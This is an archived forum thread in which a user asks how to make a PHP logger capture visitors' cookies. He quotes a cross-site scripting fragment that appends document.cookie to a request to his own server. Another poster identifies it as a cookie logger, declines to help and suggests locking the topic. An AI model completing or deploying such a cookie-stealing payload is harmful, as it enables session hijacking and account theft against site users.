Jump to content

Archived

This topic is now archived and is closed to further replies.

[A27]Matt

Cookie Help

Recommended Posts

i know that in php you can get an ip by using the code getenv("REMOTE_ADDR";  but how would i get a cookie?

Share this post


Link to post
Share on other sites
first you have to have set the cookie.. if you set the cookie then
[code]
$_COOKIE['$cookiename'];
[/code]

this is a simple cookie only storing a single value.

Share this post


Link to post
Share on other sites
I mean, i have the remote file on the server, with all the php code needed to get teh cookie, but i'm not allowed to post "example.php?c='+document.cookie". If i was allowed to post that, it would take that cookie, and store it in a text file on my server. Problem is, im not. Any suggestions on how to get around this?

Share this post


Link to post
Share on other sites
i have an image on my website that executed any php script when viewed.  so i posted it on my own forums to test it, and it does log my referer and webbrowser.  im trying to figure out what i should put in my code to have it log my cookie.  When i type 'javascript:alert(document.cookie)' in my webbrowser i get this [IMG]http://img133.imageshack.us/img133/4430/untitledyh5.jpg[/img]  That is my cookie.  What would i put in my script to log that as well?  Thanks

Share this post


Link to post
Share on other sites
No, from it looks like hes setting up a cookie logger. Java script is client side only, so if your going to set up a cookie logger find a way to have others see it. I'm not going to explain more because this most likely violates the rules. If a mod sees this, you may want to lock this topic.

For those of you who don't know, a cookie logger is self explanatory. You inject malicious java script to send an HTTP request to your site to get the users cookie.

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.